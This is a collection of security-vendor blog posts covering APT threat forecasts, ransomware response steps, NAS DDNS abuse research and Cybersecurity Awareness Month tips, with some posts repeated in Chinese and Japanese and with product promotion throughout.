We are aware of a number of these groups operating in the Asia-Pacific, including one connected to the Chinese government that targets a range of sectors including telecommunications, pharmaceuticals and aviation, and another acting against government and military agencies across the Asia-Pacific. 
 
We expect to see these groups step up their activity as several important events–including the G7 Summit–take place this year. Our research team believes APT groups plan to launch more sophisticated attacks against Asia-Pacific countries. Apart from exploiting new and legacy vulnerabilities, APT groups also started to abuse legitimate cloud services (Dropbox, Google Drive) or third-party services to deploy malware.

The impact of these activities may be severe as businesses and government organisations remain reliant on cloud services to help execute remote- and hybrid-working strategies. While these strategies continue to improve productivity and employee satisfaction, a heightened focus from APT groups exacerbates the threats posed by practices such as use of unsecured personal devices or poorly protected networks. 

##Escalating software supply chain attacks
APT groups are also poised to step up projects to infiltrate code in third party products and services that access corporate or government networks. These software supply chain attacks are particularly insidious as they target trusted products, minimising the prospect of being detected and responded to by anti-malware products.

These attacks hit the spotlight in late 2020 when malicious parties–most likely a state-based APT group–breached SolarWinds’ Orion, a product used by large organisations and governments to manage their IT resources. Through compromised updates, the attackers were able to insert malware into the systems of clients including the United States Department of Homeland Security, Treasury and private companies such as Microsoft.

Due to the high risk and potentially severe consequences of such attacks, we also expect to see businesses, governments, vendors and security software providers escalate measures to detect and prevent these attacks. This may include more stringent requirements of third-party providers to limit the risk of infiltration before allowing their products and services to access sensitive corporate systems and data.

##Fill security gaps with cyber threat intelligence
To minimise the threat presented by APT groups and cyberattackers in 2023 and beyond, businesses and government organisations need to acknowledge a difficult reality–that the cyber threat landscape is becoming more complex and threat actors are evolving rapidly. 

In the past, traditional cyber defence mechanisms like antivirus software and firewalls might have been enough to protect sensitive data and systems. However, now businesses and organisations have to develop, execute and constantly update a comprehensive strategy to defend against sophisticated attacks. 

Cyber threat intelligence must inform and drive this strategy. Intelligence about threat actors and potential attacks can help businesses and government organisations better understand potential threats, and help them allocate resources to establish effective cyber defences.

 

To obtain the insights needed to combat sophisticated cyberattackers, businesses and government organisations should consider solutions such as the ThreatVision threat intelligence platform. ThreatVision provides a portal that enables clients to stay on top of the threat landscape, defend against APT attacks and understand the tactics, techniques and procedures of adversaries. 

[Click](https://teamt5.org/en/products/threatvision/) here to register for the free demo now.

Sophisticated cyberattacks from state groups to rise in 2023

For government organisations and businesses in high-profile sectors such as finance or manufacturing, the message is clear: cyber criminals are targeting your data, your operations and your people. Well-resourced individuals and groups are applying increasingly sophisticated tools and expertise to steal intellectual property, disrupt infrastructure and services and hold businesses to ransom.
 
Notable breaches and developments in these and related sectors include:
- In 2022, a news outlet reported that the personal details of thousands of members of Tasmanian superannuation fund Spirit Super had been compromised
- Regionally, in 2022, Toyota was forced to suspend manufacturing operations in Japan after cyberattackers compromised a key supplier.
- In 2020, Melbourne-headquartered transport and logistics business Toll Holdings experienced two damaging ransomware attacks in the space of three months in 2020, from groups known as Nefilim and MailTo, and saw at least 200GB of corporate data stolen. 
- In recent years, Chinese APT group GouShe, responsible for the KeyBoy malware, has targeted government and military organisations across the Asia-Pacific, including Australia. In September 2015, GouShe targeted Australian Navy-related bodies with the malware PoisonIvy RAT. In addition, in August 2019, we intercepted a massive attack against Australia that used the malware QL_ASD_Shell RAT.
- Amoeba (also known as APT41, Winnti Group or Barium), an Advanced Persistent Threat group indicted by the United States Government, which pointed out the group has strong connections to China’s Ministry of State Security, has targeted a large listed retail organisation in Australia. We identified the presence of Amoeba’s proprietary loader, Chatloader, and a CobaltStrike Beacon with a unique template.

##Consequences of failing to understand cyber-threats

The consequences for government organisations and businesses of failing to understand where cyber threats may emerge, and implementing strategies to mitigate risk, may be severe. Organisations and businesses that experience breaches may experience serious reputational damage that dissuades customers and prospects, as well as punitive regulatory action that may have deep financial and operational consequences. 
 
Growing momentum for higher penalties for cyber security breaches has resulted in a senate committee tabling an amendment to existing data breach legislation that may increase penalties for the worst offenders to up to $50 million. 

##A cybersecurity roadmap that features threat intelligence
Unsurprisingly in this context, the vast majority of businesses and organisations now rate cybersecurity as a key business risk. Gartner has published an IT Roadmap for Cybersecurity for businesses and organisations to help mitigate this risk, based on its own research and interactions with thousands of companies. The firm recommends businesses and organisations should start by aligning strategies and building business cases before working on action plans that incorporate risk prioritisation frameworks. This plan should incorporate conducting a vulnerability assessment and penetration testing and securing board backing, among other steps.
 
With a security architecture, policy framework and solution layer incorporating threat intelligence deployed, the business or organisation should move to initiating execution–in particular designing and adjusting the team structure by integrating capabilities, tools, technologies and establishing security team roles and responsibilities. This should also include developing critical competencies and training to close skills gaps, and using metrics and incentives to drive accountability among owners. 
 
The next step, Gartner says, is to build and mature the program through initiatives such as developing a critical incident response capability and an action plan in case of breaches, and develop a program structure to monitor and combat advanced threats. Finally, the business or organisation should create a plan to communicate the value of the cybersecurity program to its people and the board, and track metrics and obtain feedback to drive improvement.         

At TeamT5, we believe any cybersecurity roadmap should include evaluating how well a business or organisation is equipped to  identify the groups or individuals who may attack them and implement effective defences. A threat intelligence platform that features detailed reports from analysts and a wide variety of technical tools to combat potential attackers is a robust first step. ThreatVision from TeamT5 enables users to identify who their adversaries are and what tactics, techniques and procedures to look out for. 
 
Combining [ThreatVision](https://teamt5.org/en/products/threatvision/) with solutions such as [ThreatSonar Anti-Ransomware](https://teamt5.org/en/products/threatsonar-anti-ransomware/), a threat analysis and response platform that proactively contains ransomware to minimise infection risks, and ThreatSonar, which hunts down threats in a breached environment, can help an organisation understand where threats are likely to come from, how to stop them and how to mitigate the impact of any successful attack. 


>Visit [TeamT5 website](https://teamt5.org/en/) to learn how your business can understand who is targeting its employees, systems and data.


Do cyber criminals have your business in their sights? Here’s how to find out and stop them 

Ransomware targets enterprises and causes great damages. It not only interferes with enterprises’ daily operation, but also brings brand damage.

Based on TeamT5 incident response team’s professional experience, we suggest enterprises 2 levels of measures. By doing so, you’re able to effectively control the damage and bring business back to normal soon.

##Technology Level
Enterprises’ internal team or vendors should take below measures in order to lower the impacts of ransomware attacks.

1. Team should isolate the attack source in order to control damages.
2. Team should collect related comprehensive info of the attack / incident. It’ll help the team to investigate the process of the incident and patch the system vulnerabilities.
3. Team can hire cybersecurity experts to conduct effective recovery measures. It’ll help enterprises & organizations’ operations go back to the right track. 


##Management Level
Enterprises’ management team (or partners) should take below measures in order to better respond to invisible impacts (e.g. negative brand image).

1. To evaluate and calculate damages brought by the attack / incident.
2. To consider paying the ransom. However, some experts advise enterprises & organizations should neither negotiate with the attackers nor pay the ransom.
3. To work on public relations in order to lower the negative impact on brand image.


 
 

>With solid technical background and frontline expertise, TeamT5’s incident response team provides an in-depth investigation and response to real-world cyber-attacks. We identify and research the intruder attacks, the impact and technical cause of the incidents, and recommend solutions or workarounds to assist our clients in recovery and remediation.

If you have needs for incident response, please contact us: https://teamt5.org/tw/request-information/

How to Deal with Ransomware Attacks?

勒索軟體(ransomware，又稱勒索病毒) 針對企業和各類組織的攻擊事件頻傳，不僅影響日常營運，更造成鉅額損失。

根據 TeamT5 杜浦數位安全的資安事件應變團隊(incident response team)的專業經驗，宜採取2大層面的應變措施，有效控制損害，盡早恢復正常營運。

##層面1: 技術面
由公司內、外的技術團隊進行下列措施，妥善處理勒索軟體事件:
1.隔離感染來源，控制損害層面
2.收集具體事件資料，詳細調查事件發生經過，堵住系統漏洞
3.由專家進行有效復原措施，協助企業持續營運

##層面2: 管理面
由公司管理團隊(或與協力團隊)進行下列措施，妥善應對勒索軟體事件帶來的無形衝擊、品牌影響:
1.評估與計算事件帶來的損害
2.談判勒索贖金，雖然同時部分專家也會提出不談判、不支付贖金的建議
3.經營對外關係，降低對品牌形象的負面衝擊
 
 
![how-to-response-ransomware-attacks_pic1.png](https://uploads.teamt5.org/upload/original/how-to-response-ransomware-attacks_pic1.png)
 
 

>TeamT5 杜浦數位安全團隊長期研究與解析駭客族群入侵行為，具備第一線國內外資安事件處理的豐富經驗。當資安事件發生，我們可快速完成受駭現場與歷史軌跡的綜整分析，發掘攻擊者的入侵過程與手法，提供事件處理的深入分析及建議，協助您復原與改善資安環境。

若您有資安事件處理、應變的需求，歡迎填寫諮詢表單: https://teamt5.org/tw/request-information/

 
 
首圖來源: [StockAI[(https://www.stockai.com/)

如何應變勒索軟體攻擊?

Advanced Persistent Threat(APT) is conducted by adversaries with sophisticated levels of expertise and significant resources. They generate opportunities to achieve its business or political objectives which are typically to establish and extend its presence within the information technology infrastructure of organizations.

During the attacking process, they do their best to hide their acts. Victims might not be able to find the attacks at beginning and face economic or other types of losses.


What is Advanced Persistent Threat(APT)?

進階持續性威脅(advanced persistent threat, APT)， 又稱高級持續性威脅、先進持續性威脅等，是指隱匿而持久的電腦入侵過程。

通常是有心人士精心策劃，出於商業或政治動機，針對特定的目標，如特定組織或國家，進行得長期攻擊過程，此類型攻擊特點之一是在長時間內保持自身行動的高隱蔽性，使受害者難以察覺。


什麼是APT(advanced persistent threat) 進階持續性威脅?

##Introduction
Over the last few years, Network Attached Storage (NAS) has seen a dramatic increase in popularity, especially during the pandemic. It is now commonplace to see a NAS box in the office of most small or medium businesses. 
 
With the rise of these NAS servers, we have begun to see a huge increase in the number of DDNS domains associated with popular NAS providers such as Synology and QNAP. 
 
In fact, during our research, we were able to estimate that there were at least three million active NAS units from Synology available on the world wide web. QNAP, by contrast, had a much lower market share of only ten thousand. 


##More NAS Servers = More Attacks
Unsurprisingly, this increase in NAS servers has seen a corresponding increase in cyberattacks. Perhaps the most famous to date was the [Synolocke](www.synology.com/en-global/security/advisory/SynoLocker)r ransomware attack of 2014. 

And, in the last 12 months, we can see that QNAP has published at least 37 advisories marked with a severity level between Medium to Critical. Specifically, these mentioned several ransomware campaigns involving: -
 
[DeadBolt](https://www.qnap.com/en/security-advisory/qsa-22-24), [eCh0raix](https://www.qnap.com/go/security-advisory/qsa-21-18), [Checkmate](https://www.qnap.com/go/security-advisory/qsa-22-21). 
 
In addition, other types of malware or PUPs such as crypto miners and/or botnets were spotted on these systems.


 
![202210_CTI_blog_pic1.png](https://uploads.teamt5.org/upload/original/202210_CTI_blog_pic1.png)
 

Meanwhile, in the same timeframe, Synology had published around 18 advisories marked between Moderate to Critical. 

And, whilst it is clear that Synology NAS devices suffered from fewer security incidents than QNAP, they were still unfortunately targeted by ransomware gangs that abused the critical [Netatalk-related vulnerability](https://www.bleepingcomputer.com/news/security/synology-warns-of-critical-netatalk-bugs-in-multiple-products/).

 
![202210_CTI_blog_pic2.png](https://uploads.teamt5.org/upload/original/202210_CTI_blog_pic2.png)
 

##Xpenology AND QuickConnect
Unfortunately, Synology also had another issue to worry about - Xpenology, also known as 黑群暉 in the Taiwanese community. In a nutshell, this custom bootloader allows non-standard hardware to boot into Synology's Linux-based DSM (Disk Station Manager) system.

On top of Xpenology, Synology also had to worry about the emerging threat of QuickConnect abuse. 

QuickConnect allows the NAS to be opened to WAN without any additional port forwarding setup, and the NAS is assigned a custom subdomain under ```synology.me``` or other QuickConnect-related domains during this process. 

Normally, QuickConnect requires a matching combination between the NIC MAC address and the serial number in order to function. However, the community at large had figured out a way to generate the relevant credentials required to bypass this check a few years back, though most of them are likely patched by now.

 
![202210_CTI_blog_pic3.png](https://uploads.teamt5.org/upload/original/202210_CTI_blog_pic3.png)
 

##Suspicious Activity in NAS Servers
Why specifically does this matter, though? During our investigations against cases that were related to various Chinese adversaries, we found that some of the IP addresses related to the incidents were directly related to various Synology QuickConnect-related subdomains. 

For example, at some point in our investigation, we stumbled across the IP ```42.3.63[.]80```. This IP address was resolved to ```johndans[.]diskstation.me``` and ```ediskwang[.]synology.me``` shortly prior to the security incident. Both these subdomains had extremely suspicious DNS records, jumping in rapid succession between various IP addresses from China and Hong Kong. 

By following the relevant IP addresses, we realized some of the IP addresses resolved were previously discovered in other cases that were directly linked to various Chinese adversaries, such as Amoeba (APT41) and SLIME40 (FamousSparrow). Based on our internal research, we came to the conclusion that these subdomains were likely normal NAS servers taken hostage by the APTs.

 
![202210_CTI_blog_pic4_watermark.png](https://uploads.teamt5.org/upload/original/202210_CTI_blog_pic4_watermark.png)
 

The discovery we made above led us to speculate on other possibilities. What if a threat actor were to host their own Synology proxy stations using both of the attack vectors mentioned above? 

To validate our suspicion, we gathered around ~10,000 ```synology.me``` and ~5,000 ```myqnapcloud.com``` subdomains as our dataset and filtered them based on the following conditions,
- Is the NAS hosted on a known VPS ASN?
- Is the NAS subdomain seen traveling across various different country?
- Are multiple NAS subdomains resolving to the same IP addresses?

 
![202210_CTI_blog_pic5_watermark.jpg](https://uploads.teamt5.org/upload/original/202210_CTI_blog_pic5_watermark.jpg)
 

From the queries, we noticed there were indeed several suspicious-looking NAS DDNS subdomains. For instance, in the following example, the NAS was seen traveling between EU and the East Asian region for several years with the resolve record for each being as short as two days. The device was hosted between various cloud providers, such as xTom, Microsoft Azure, and DMIT Cloud.

 
![202210_CTI_blog_pic6_watermark.jpg](https://uploads.teamt5.org/upload/original/202210_CTI_blog_pic6_watermark.jpg)
 

In another instance, we noticed one of the NAS devices was traveling between Hong Kong, Singapore, Taiwan, and China at various IP addresses owned by cloud hosting providers such as Linode, AWS, Cloudflare, Microsoft Azure, and more. 

While we cannot conclusively attribute any of these NAS instances as necessarily “malicious” - as these instances could have simply be behind a network-wide VPN in some home solutions - we could at the very least mark them as relatively suspicious compared to the standard use cases of NAS DDNS.

 
![202210_CTI_blog_pic7_watermark.jpg](https://uploads.teamt5.org/upload/original/202210_CTI_blog_pic7_watermark.jpg)
 

##The Threat Landscape is Evolving. Makes sure you keep up.
To sum up this research, we have looked at the traditional threat landscape that is present in the NAS industry (e.g., ransomware, cryptominers, PUPs, etc.) and how it may evolve into another type of threat with the use of convenient features such as QuickConnect. 

One thing is clear.The threat landscape of NAS devices may still evolve over time. As such, we encourage our readers and our customers to regularly update their device firmware and to check if there are any irregularities with their home devices.

 
 

>本篇部落格首度發表於 HITCON PEACE 2022。
>本篇部落格為我們於 HITCON PEACE 2022 [「Your NAS is not my BOT」](https://hitcon.org/2022/agenda/f50a60f5-057f-4df3-84d9-23e7d022ec40/) 演講的精華摘要。
 - 觀賞完整演講影片(中文): [連結](https://youtu.be/joxEpQZDQhY)
 - 下載演講簡報(英文): [連結](https://hitcon.org/2022/slides/Your%20NAS%20is%20not%20my%20BOT.pdf)

 
 

*首圖來源: [Pexels](https://www.pexels.com/)

Protect Your NAS From Nasty Attacks (Your NAS is not my BOT)

##Introduction
Over the last few years, Network Attached Storage (NAS) has seen a dramatic increase in popularity, especially during the pandemic. It is now commonplace to see a NAS box in the office of most small or medium businesses. 
 
With the rise of these NAS servers, we have begun to see a huge increase in the number of DDNS domains associated with popular NAS providers such as Synology and QNAP. 
 
In fact, during our research, we were able to estimate that there were at least three million active NAS units from Synology available on the world wide web. QNAP, by contrast, had a much lower market share of only ten thousand. 


##More NAS Servers = More Attacks
Unsurprisingly, this increase in NAS servers has seen a corresponding increase in cyberattacks. Perhaps the most famous to date was the [Synolocker](www.synology.com/en-global/security/advisory/SynoLocker) ransomware attack of 2014. 

And, in the last 12 months, we can see that QNAP has published at least 37 advisories marked with a severity level between Medium to Critical. Specifically, these mentioned several ransomware campaigns involving: -
 
[DeadBolt](https://www.qnap.com/en/security-advisory/qsa-22-24), 
[eCh0raix](https://www.qnap.com/go/security-advisory/qsa-21-18), 
[Checkmate](https://www.qnap.com/go/security-advisory/qsa-22-21). 
 
In addition, other types of malware or PUPs such as crypto miners and/or botnets were spotted on these systems.


 
![202210_CTI_blog_pic1.png](https://uploads.teamt5.org/upload/original/202210_CTI_blog_pic1.png)
 

Meanwhile, in the same timeframe, Synology had published around 18 advisories marked between Moderate to Critical. 

And, whilst it is clear that Synology NAS devices suffered from fewer security incidents than QNAP, they were still unfortunately targeted by ransomware gangs that abused the critical [Netatalk-related vulnerability](https://www.bleepingcomputer.com/news/security/synology-warns-of-critical-netatalk-bugs-in-multiple-products/).

 
![202210_CTI_blog_pic2.png](https://uploads.teamt5.org/upload/original/202210_CTI_blog_pic2.png)
 

##Xpenology AND QuickConnect
Unfortunately, Synology also had another issue to worry about - Xpenology, also known as 黑群暉 in the Taiwanese community. In a nutshell, this custom bootloader allows non-standard hardware to boot into Synology's Linux-based DSM (Disk Station Manager) system.

On top of Xpenology, Synology also had to worry about the emerging threat of QuickConnect abuse. 

QuickConnect allows the NAS to be opened to WAN without any additional port forwarding setup, and the NAS is assigned a custom subdomain under ```synology.me``` or other QuickConnect-related domains during this process. 

Normally, QuickConnect requires a matching combination between the NIC MAC address and the serial number in order to function. However, the community at large had figured out a way to generate the relevant credentials required to bypass this check a few years back, though most of them are likely patched by now.

 
![202210_CTI_blog_pic3.png](https://uploads.teamt5.org/upload/original/202210_CTI_blog_pic3.png)
 

##Suspicious Activity in NAS Servers
Why specifically does this matter, though? During our investigations against cases that were related to various Chinese adversaries, we found that some of the IP addresses related to the incidents were directly related to various Synology QuickConnect-related subdomains. 

For example, at some point in our investigation, we stumbled across the IP ```42.3.63[.]80```. This IP address was resolved to ```johndans[.]diskstation.me``` and ```ediskwang[.]synology.me``` shortly prior to the security incident. Both these subdomains had extremely suspicious DNS records, jumping in rapid succession between various IP addresses from China and Hong Kong. 

By following the relevant IP addresses, we realized some of the IP addresses resolved were previously discovered in other cases that were directly linked to various Chinese adversaries, such as Amoeba (APT41) and SLIME40 (FamousSparrow). Based on our internal research, we came to the conclusion that these subdomains were likely normal NAS servers taken hostage by the APTs.

 
![202210_CTI_blog_pic4_watermark.png](https://uploads.teamt5.org/upload/original/202210_CTI_blog_pic4_watermark.png)
 

The discovery we made above led us to speculate on other possibilities. What if a threat actor were to host their own Synology proxy stations using both of the attack vectors mentioned above? 

To validate our suspicion, we gathered around ~10,000 ```synology.me``` and ~5,000 ```myqnapcloud.com``` subdomains as our dataset and filtered them based on the following conditions,
- Is the NAS hosted on a known VPS ASN?
- Is the NAS subdomain seen traveling across various different country?
- Are multiple NAS subdomains resolving to the same IP addresses?

 
![202210_CTI_blog_pic5_watermark.jpg](https://uploads.teamt5.org/upload/original/202210_CTI_blog_pic5_watermark.jpg)
 

From the queries, we noticed there were indeed several suspicious-looking NAS DDNS subdomains. For instance, in the following example, the NAS was seen traveling between EU and the East Asian region for several years with the resolve record for each being as short as two days. The device was hosted between various cloud providers, such as xTom, Microsoft Azure, and DMIT Cloud.

 
![202210_CTI_blog_pic6_watermark.jpg](https://uploads.teamt5.org/upload/original/202210_CTI_blog_pic6_watermark.jpg)
 

In another instance, we noticed one of the NAS devices was traveling between Hong Kong, Singapore, Taiwan, and China at various IP addresses owned by cloud hosting providers such as Linode, AWS, Cloudflare, Microsoft Azure, and more. 

While we cannot conclusively attribute any of these NAS instances as necessarily “malicious” - as these instances could have simply be behind a network-wide VPN in some home solutions - we could at the very least mark them as relatively suspicious compared to the standard use cases of NAS DDNS.

 
![202210_CTI_blog_pic7_watermark.jpg](https://uploads.teamt5.org/upload/original/202210_CTI_blog_pic7_watermark.jpg)
 

##The Threat Landscape is Evolving. Makes sure you keep up.
To sum up this research, we have looked at the traditional threat landscape that is present in the NAS industry (e.g., ransomware, cryptominers, PUPs, etc.) and how it may evolve into another type of threat with the use of convenient features such as QuickConnect. 

One thing is clear.The threat landscape of NAS devices may still evolve over time. As such, we encourage our readers and our customers to regularly update their device firmware and to check if there are any irregularities with their home devices.

 
 

>The research is first published in HITCON PEACE 2022.
>This blog is the key abstract of our speech in HITCON PEACE 2022, ["Your NAS is not my BOT"](https://hitcon.org/2022/agenda/f50a60f5-057f-4df3-84d9-23e7d022ec40/).
 - To watch the whole speech(in Mandarin): [link](https://youtu.be/joxEpQZDQhY)
 - To download the slide(in English): [link](https://hitcon.org/2022/slides/Your%20NAS%20is%20not%20my%20BOT.pdf)

 
 

*Image courtesy of [Pexels](https://www.pexels.com/)

##はじめに
過去数年間にわたり、ネットワークアタッチドストレージ（NAS）は、特にパンデミックの最中、急激に普及しました。今や、ほとんどの中小企業のオフィスで、NASボックスが見られるようになっています。 
 
NASサーバーが普及しつつあり、SynologyやQNAPなど、大手NASプロバイダーに関係するDDNSドメインの数が急激に伸びています。 
 
実際、今回の調査の結果、ワールドワイドウェブでは少なくとも300万台のSynology製NASユニットが稼働していると、当社は推定しています。一方、QNAPはわずか1万台と、極めて低い市場シェアに留まっています。


##NASサーバーの増加 = 攻撃の増加
当然のごとく、NASサーバーが増えるにつれ、サイバー攻撃も増加しています。これまでで最も有名な攻撃例は、2014年に起こった[Synolocker](www.synology.com/en-global/security/advisory/SynoLocker)ランサムウェア攻撃でしょう。 

また、過去12か月にわたり、QNAPは中程度から緊急までの深刻度レベルにマーキングされた警報を少なくとも37件、発しています。特に、以下の数種類のランサムウェア活動が報告されています。-
 
[DeadBolt](https://www.qnap.com/en/security-advisory/qsa-22-24)、
[eCh0raix](https://www.qnap.com/go/security-advisory/qsa-21-18)、
[Checkmate](https://www.qnap.com/go/security-advisory/qsa-22-21)。
 
加えて、仮想通貨のマイナーおよび/またはボットネットなど、他の種類のマルウェアやPUPも、これらシステムで報告されています。


 
![202210_CTI_blog_pic1.png](https://uploads.teamt5.org/upload/original/202210_CTI_blog_pic1.png)
 

Meanwhile, in the same timeframe, Synology had published around 18 advisories marked between Moderate to Critical. 

一方、同時期にSynologyは中程度から緊急までの深刻度レベルにマーキングされた警報を約18件、発しています。 
 
SynologyのNASデバイスはQNAPほどのセキュリティ侵害を受けていないことは明白ですが、それでも、重要な[Netatalk関連の脆弱性](https://www.bleepingcomputer.com/news/security/synology-warns-of-critical-netatalk-bugs-in-multiple-products/)を突いたランサムウェア集団の標的にされることは未だ免れていません。


 
![202210_CTI_blog_pic2.png](https://uploads.teamt5.org/upload/original/202210_CTI_blog_pic2.png)
 

##XpenologyとQuickConnect
残念なことに、Synologyはもう一つの問題を抱えていました。台湾のコミュニティでは黑群暉と呼ばれる、Xpenologyです。かいつまんで言えば、このカスタムブートローダーは規格外のハードウェアを使用して、SynologyのLinuxベースDSM（ディスクステーションマネージャー）システム内で起動できます。 
 
Xpenologyだけでなく、Synologyは新たなQuickConnect搾取にも対処しなければなりませんでした。 
 
QuickConnectはポートフォワーディング設定を追加せずにNASをWANへ開放します。この間に、NASは```synology.me```またはその他のQuickConnect関連のドメインへ割り当てられます。 
 
通常、QuickConnectが機能するにはNICのMACアドレスとシリアル番号の組み合わせが一致しなければなりません。しかし、コミュニティではこの検査をバイパスするために必要な認証の生成方法を数年前に見つけています。幸い、今ではそのほとんどにパッチが当てられたと考えられています。 



 
![202210_CTI_blog_pic3.png](https://uploads.teamt5.org/upload/original/202210_CTI_blog_pic3.png)
 

##NASサーバーでの疑わしい挙動
なぜ、これが特に問題になるのでしょう？中国発の様々な攻撃に関連した事例を調査した際、当社は攻撃に用いられるIPアドレスの一部は、Synology QuickConnect関連の様々なサブドメインと直接関係があることを発見しました。 
 
例えば、調査の過程で、当社はIPアドレス```42.3.63[.]80```を発見しています。このIPは、セキュリティ侵害が起こる直前に、```johndans[.]diskstation.me```と```ediskwang[.]synology.me```へ解決されています。どちらのサブドメインにも非常に疑わしいDNS記録があり、中国と香港における様々なIPアドレス間を素早く飛び交っています。 
 
関連のIPアドレスを追跡することで、解決されたIPアドレスの一部は、様々な中国発の攻撃に直接関わっていたことが判明した他の事例（Amoeba （APT41）やSLIME40（FamousSparrow）など）でも見つかっていたことを当社は突き止めました。社内調査に基づき、当社はこれらサブドメインがAPTによって人質に取られた通常のNASサーバーの可能性が高いと結論付けました。


 
![202210_CTI_blog_pic4_watermark.png](https://uploads.teamt5.org/upload/original/202210_CTI_blog_pic4_watermark.png)
 

この結論を元に、他の可能性についても検討しました。攻撃者が前述の攻撃方法の両方を用いて、自身でSynologyのプロキシステーションをホストした場合はどうなるのか？ 
 
この疑念を確かめるため、当社は約1万の```synology.me```サブドメインと約5千の```myqnapcloud.com```サブドメインをデータセットとして収集し、以下の条件に基づいてフィルタリングしました。
 
- NASは既知のVPS ASNでホストされているのか？
- NASサブドメインは様々な国にまたがって移動しているのか？
- 複数のNASサブドメインが同じIPアドレスを解決しているのか？

 
![202210_CTI_blog_pic5_watermark.jpg](https://uploads.teamt5.org/upload/original/202210_CTI_blog_pic5_watermark.jpg)
 

こうした問いを通じて、疑わしいNAS DDNSサブドメインが実際に数種類見つかっています。例えば、以下の例では、NASは欧州連合と東アジア地域の間を数年間にわたって移動しており、各地域での解決記録は最短で2日間でした。デバイスはxTom、Microsoft Azure、DMIT Cloudなど、様々なクラウドプロバイダーの間でホスティングされていました。

 
![202210_CTI_blog_pic6_watermark.jpg](https://uploads.teamt5.org/upload/original/202210_CTI_blog_pic6_watermark.jpg)
 

別の事例では、当社はNASデバイスの1台がLinode、AWS、Cloudflare、Microsoft Azureなどのクラウドホストプロバイダーが所有する様々なIPアドレスを利用し、香港、シンガポール、台湾、中国の間を移動していたことを突き止めています。 
 
これらは一部の家庭用ソリューションでネットワーク全体にかかるVPNの背後に存在していただけの可能性もあるため、こうしたNAS事例は必ずしも「悪意がある」と結論付けることはできませんが、NAS DDNSの標準的な利用方法と比べて、比較的疑いが高いとマーキングすることは可能です。


 
![202210_CTI_blog_pic7_watermark.jpg](https://uploads.teamt5.org/upload/original/202210_CTI_blog_pic7_watermark.jpg)
 

##脅威は今も拡大しています。遅れをとらないようにしてください。
本調査をまとめると、当社はNAS業界に存在する従来の脅威の種類（ランサムウェア、仮想通貨のマイナー、PUPなど）を調べ、QuickConnectなどの便利な機能を使用した別の種類の脅威へ発展する可能性を確認しました。 
 
1つ、確実に言えることがあります。NASデバイスに対する脅威の種類は広がり続けています。このため、読者や顧客の皆様には、デバイスのファームウェアを定期的にアップデートし、家庭内のデバイスに異常がないか、確認することを強く推奨いたします。


 
 

>本調査はHITCON PEACE 2022に初掲載されました。今回のブログ記事は、HITCON PEACE 2022での当社のスピーチ、[私のNASは他人のボットではない]（[https://hitcon.org/2022/agenda/f50a60f5-057f-4df3-84d9-23e7d022ec40/）を要約したものです。
- スピーチ全体（中国語）はこちらからご覧ください：[リンク](https://hitcon.org/2022/agenda/f50a60f5-057f-4df3-84d9-23e7d022ec40/)
- スライド（英語）はこちらからダウンロードください:[リンク](https://hitcon.org/2022/slides/Your%20NAS%20is%20not%20my%20BOT.pdf)


 
 

*画像のソース: [Pexels](https://www.pexels.com/)

NASを執拗な攻撃から保護（私のNASは他人のボットではない）

Every October, Cybersecurity Awareness Month is a big event for government and private sectors to raise awareness about digital security and empower everyone to protect their personal data from digital forms of crime.

Cybersecurity Awareness Month was first organized by the National Cybersecurity Alliance and the Cybersecurity and Infrastructure Agency (CISA) in the USA since 2004. 

In 2022, topics of Cybersecurity Awareness Month topics are: 

- Enable Multi-Factor Authentication
- Use Strong Passwords
- Recognize and Report Phishing
- Update Your Software

 
These are 4 essential actions for people to protect their valuable assets. **However, that’s just the beginning for enterprises.**

As advanced persistent threats (APTs) and ransomwares threaten enterprises more than ever, we suggest enterprises adopt threat intelligence in order to prevent threats in advance.

Cyber threat intelligence (CTI) is information that has been aggregated, transformed, analyzed, interpreted, or enriched to provide the necessary context for decision-making processes.

Cyber threat intelligence is an important part of enterprises’ cybersecurity plans. Enterprises can effectively deploy information security defenses and ensure smooth operations using the intelligence gathered and analyzed by the top threat intelligence research teams.

**Take actions today to protect your valuable assets TODAY.**
 
 
- [What is Cyber Threat Intelligence (CTI)? Why Does It Matter?](https://teamt5.org/en/posts/what-is-cyber-threat-intelligence-cti/)
- [What is the Diamond Model of Intrusion Analysis? Why Does It Matter?]
(https://teamt5.org/en/posts/what-is-diamond-model-of-intrusion-analysis/)

Cybersecurity Awareness Month 2022: Take 4+1 Actions Today

資安意識月 (Cybersecurity Awareness Month) 由美國 國家網路安全聯盟(NCA)、美國網路安全暨基礎設施安全局(CISA)發起，為每年10月舉辦，至今已邁入第19年。每年強調不同的主題，提升大眾的資安意識。

今年特別呼籲的資安防護觀念為:

- 帳戶啟用多因素認證(Multi-Factor Authentication)
- 使用高強度密碼
- 對疑似釣魚詐騙、手法保持警覺性，並即時回報給相關單位
- 軟體更新至新版

 
上述為資安防護的重要基本概念，然而企業進行資安防護、保護重要數位資產與商業機密，仍需要更積極的手段，如收集與駭客族群攻擊手法相關的威脅情資、安裝適當的端點防護工具；並與資安服務供應商緊密合作，時刻檢視系統脆弱處。

欲了解更多資安威脅情資分析關鍵、企業資安防護訣竅，請參考下列連結:
- [什麼是威脅情資? 對企業的重要性是什麼?](https://teamt5.org/tw/posts/what-is-cyber-threat-intelligence-cti/)
- [什麼是入侵分析鑽石模型? 對資安防禦的重要性是?](https://teamt5.org/tw/posts/what-is-diamond-model-of-intrusion-analysis/)

2022 資安意識月: 立即行動，保護企業資產

TeamT5 consists of world-class cyber threat analysts with more than 10-year experience. Leveraging geographic and cultural advantages, TeamT5 has the best understanding of cyber attackers in Asia Pacific. Derived from in-house research in malware & Advanced Persistent Threat (APT), TeamT5 provides cyber threat intelligence reports and anti-ransomware solutions to clients in the USA, Japan, and Taiwan.  

Our clients include government agencies, financial institutions, telecom operators, high-tech enterprises, electronic manufacturing service companies, and managed security service providers (MSSP).

For **Australia exterprises & government units**, we publish this exclusive cyber threat intelligence report to remind them of adversaries who targeting Australia units. As the old saying "Know the enemy and know yourself; in a hundred battles you will never be in peril," we encourage all units to update their cyber threat intelligence in order to protect their valuable digital assets.

✨**Fill up the below form for receiving TeamT5's exclusive cyber threat intelligence report!**

TeamT5 's Cyber Threat Intelligence Report [Exclusive for Australia]

Threat Intelligence

Tactics, Techniques, and Procedures (TTPs) is a comprehensive description of a cyber actor's behavior. 

- Tactic: the highest-level description of the cyber actor’s behavior. 
- Technique: gives a more detailed description of behavior in the context of a tactic.
- Procedure: an even lower-level, highly detailed description in the context of a technique.

A good threat intelligence will provide TTPs, so the reader has a detailed understanding of the cyber attack. Then, the reader will be able to take right defensive measures.
 
 
 
 
 
*Reference: 
